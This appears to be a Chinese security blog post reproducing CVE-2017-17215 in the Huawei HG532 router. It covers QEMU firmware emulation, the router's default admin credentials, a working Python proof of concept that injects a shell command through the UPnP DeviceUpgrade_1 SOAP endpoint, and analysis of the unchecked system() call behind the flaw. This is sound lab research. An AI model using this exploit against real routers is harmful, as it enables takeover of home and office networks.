华为HG532路由器漏洞CVE-2017-17215分析

漏洞描述

华为HG532产品存在远程命令执行漏洞,华为HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品

固件解压

这个squashfs_root将会被我们拷贝到qemu中

环境搭建

下载qemu

sudo apt-get install qemu
sudo apt-get install qemu binfmt-support qemu-user-static

下载qemu启动虚拟机所需要的“镜像”,这个地方的镜像是和之前的固件版本要匹配,MIPS,32位,大端

wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta

创建虚拟网桥,实现虚拟机内部和Ubuntu的连接

sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.153.1/24 up

创建tap接口,名字为tap0,并添加到网桥

sudo tunctl -t tap0
sudo ifconfig tap0 192.168.153.11/24 up
sudo brctl addif Virbr0 tap0

起qemu:

sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
{% asset_img 3.png %}

在启动的虚拟机里面添加一个IP,并尝试ping外界

ifconfig eth0 192.168.153.2/24 up

将之前解压出来的squashfs-root文件夹通过scp命令,复制到虚拟机中

scp -r squashfs-root/ root@192.168.153.2:~/

在虚拟机中挂载dev和proc

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc

启动shell

chroot squashfs-root sh
{% asset_img 6.png %}

这个终端是用来改ip地址的,单独在开一个终端ssh上去,启动路由器。

ssh root@192.168.153.2
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic

这个通过ssh连接的终端实际上已经无法使用了,因为虚拟机里面的路由器IP发生了变化,ssh连接已经断开,返回之前的虚拟机中的终端。

需要重新更改路由器的IP,以便于外部的Ubuntu登录管理界面

ifconfig eth0 192.168.153.2/24 up
ifconfig br0 192.168.153.11/24 up

这个时候在Ubuntu上使用浏览器访问路由器eth0的IP地址,就可以登录进入管理界面,默认的账号密码是:admin,@Hua1234

漏洞复现

利用已有的poc进行测试一下:

import requests 
headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"}

data = '''<?xml version="1.0" ?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">   <NewStatusURL>;mkdir /bin/hell;</NewStatusURL>   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>  </u:Upgrade> </s:Body></s:Envelope>'''requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

原理分析

根据信息可知,漏洞处于upnp服务中,可直接将bin/upnp拖到IDA里面分析,也可以根据poc中的特征字符串ctrlt以及DeviceUpgrade_1寻找,看该字符串处于哪个可执行程序当中。

根据poc,注入点是以及,在字符串中找到它们:

看到调用函数是在函数sub_40749c当中,跟过去该函数,可以看到,程序通过ATP_XML_GetChildNodeByName函数获取xml中的节点,并且未经过检查就直接与upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -拼接使用system函数进行执行。

具体来说是首先在输入单引号将前面的字符串闭合,然后再注入相应的执行命令即可,如需要执行ls命令,则需要做的就是构造‘;ls;节点即可。该节点字符串与upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -拼接得到upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r ‘;ls; -d -,然后执行system调用,实现注入。

继续尝试触发漏洞

尝试了一天反弹shell也没成功,没有常见的nc、telnet服务

拿一个flag暂时结束吧Orz…


 Previous
思科路由器RV110W-CVE-2020-3331/CVE-2020-3323漏洞复现 思科路由器RV110W-CVE-2020-3331/CVE-2020-3323漏洞复现
前言强网杯Realworld赛题,要求挖掘并利用CISCO RV110W-E-CN-K9(固件版本1.2.2.5)中的漏洞,获取路由器的Root Shell。攻击演示时的目标设备端口只开启了443端口的https服务,且不知道路由器的Web
Next 
D-Link DIR-505越界漏洞分析 D-Link DIR-505越界漏洞分析
基本信息Link DIR-505路由器是一款便携式无线路由器,但在该路由器的“my_cgi.cgi”的CGI脚本中,存在缓冲区溢出的漏洞。造成漏洞的原因并不是常见的危险函数将大缓冲区复制到小缓冲区造成溢出,而是在目的缓冲区和源缓冲区之间以字
  TOC